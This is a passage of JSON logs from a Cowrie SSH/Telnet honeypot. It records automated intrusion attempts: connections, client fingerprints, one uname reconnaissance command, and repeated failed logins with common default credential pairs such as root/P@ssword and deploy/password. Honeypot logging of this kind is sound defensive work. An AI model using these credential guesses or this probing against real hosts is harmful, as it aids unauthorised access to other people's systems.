{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:15.671683Z","src_ip":"192.109.200.237","session":"368865788262","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:15.824520Z","src_ip":"192.109.200.237","session":"368865788262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:15.830007Z","src_ip":"192.109.200.237","session":"368865788262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47316,"dst_ip":"159.203.135.109","dst_port":22,"session":"44624c50d944","protocol":"ssh","message":"New connection: 192.109.200.237:47316 (159.203.135.109:22) [session: 44624c50d944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:18.647761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:18.653057Z","src_ip":"192.109.200.237","session":"44624c50d944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:18.736243Z","src_ip":"192.109.200.237","session":"44624c50d944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:18.984486Z","src_ip":"192.109.200.237","session":"44624c50d944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:20.072286Z","src_ip":"192.109.200.237","session":"44624c50d944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60092,"dst_ip":"159.203.135.109","dst_port":22,"session":"c11e56d4bf61","protocol":"ssh","message":"New connection: 192.109.200.237:60092 (159.203.135.109:22) [session: c11e56d4bf61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:21.933762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:21.939177Z","src_ip":"192.109.200.237","session":"c11e56d4bf61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:22.021678Z","src_ip":"192.109.200.237","session":"c11e56d4bf61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:22.270480Z","src_ip":"192.109.200.237","session":"c11e56d4bf61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:23.357344Z","src_ip":"192.109.200.237","session":"c11e56d4bf61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60104,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf63f2392d6c","protocol":"ssh","message":"New connection: 192.109.200.237:60104 (159.203.135.109:22) [session: cf63f2392d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:25.294603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:25.302121Z","src_ip":"192.109.200.237","session":"cf63f2392d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:25.384850Z","src_ip":"192.109.200.237","session":"cf63f2392d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:25.635472Z","src_ip":"192.109.200.237","session":"cf63f2392d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:26.720455Z","src_ip":"192.109.200.237","session":"cf63f2392d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43000,"dst_ip":"10.17.0.5","dst_port":23,"session":"53a02f3d454c","protocol":"telnet","message":"New connection: 50.6.8.71:43000 (10.17.0.5:23) [session: 53a02f3d454c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:27.703293Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60122,"dst_ip":"159.203.135.109","dst_port":22,"session":"3473d71afa1a","protocol":"ssh","message":"New connection: 192.109.200.237:60122 (159.203.135.109:22) [session: 3473d71afa1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:28.781955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:28.809096Z","src_ip":"192.109.200.237","session":"3473d71afa1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:28.865891Z","src_ip":"192.109.200.237","session":"3473d71afa1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:29.184371Z","src_ip":"192.109.200.237","session":"3473d71afa1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":44576,"dst_ip":"10.17.0.5","dst_port":22,"session":"50936b39252e","protocol":"ssh","message":"New connection: 103.183.114.55:44576 (10.17.0.5:22) [session: 50936b39252e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:30.171855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:30.230317Z","src_ip":"103.183.114.55","session":"50936b39252e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:30.269079Z","src_ip":"192.109.200.237","session":"3473d71afa1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:30.423501Z","src_ip":"103.183.114.55","session":"50936b39252e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfvfhf","message":"login attempt [root/nfvfhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:31.315940Z","src_ip":"103.183.114.55","session":"50936b39252e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40798,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7e993335456","protocol":"ssh","message":"New connection: 192.109.200.237:40798 (159.203.135.109:22) [session: d7e993335456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:32.243081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:32.246951Z","src_ip":"192.109.200.237","session":"d7e993335456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:32.329757Z","src_ip":"192.109.200.237","session":"d7e993335456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:32.546744Z","src_ip":"103.183.114.55","session":"50936b39252e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:32.575890Z","src_ip":"192.109.200.237","session":"d7e993335456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:33.660842Z","src_ip":"192.109.200.237","session":"d7e993335456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40812,"dst_ip":"159.203.135.109","dst_port":22,"session":"e80948d220b6","protocol":"ssh","message":"New connection: 192.109.200.237:40812 (159.203.135.109:22) [session: e80948d220b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:35.681551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:35.686857Z","src_ip":"192.109.200.237","session":"e80948d220b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:35.768777Z","src_ip":"192.109.200.237","session":"e80948d220b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:36.016978Z","src_ip":"192.109.200.237","session":"e80948d220b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:37.158688Z","src_ip":"192.109.200.237","session":"e80948d220b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.429900884628296,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:37.921722Z","src_ip":"23.94.28.189","session":"5ddc9e5fc8bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40818,"dst_ip":"159.203.135.109","dst_port":22,"session":"19885b1237a6","protocol":"ssh","message":"New connection: 192.109.200.237:40818 (159.203.135.109:22) [session: 19885b1237a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:39.210789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:39.215999Z","src_ip":"192.109.200.237","session":"19885b1237a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:39.301564Z","src_ip":"192.109.200.237","session":"19885b1237a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:39.548320Z","src_ip":"192.109.200.237","session":"19885b1237a6","protocol":"ssh"}
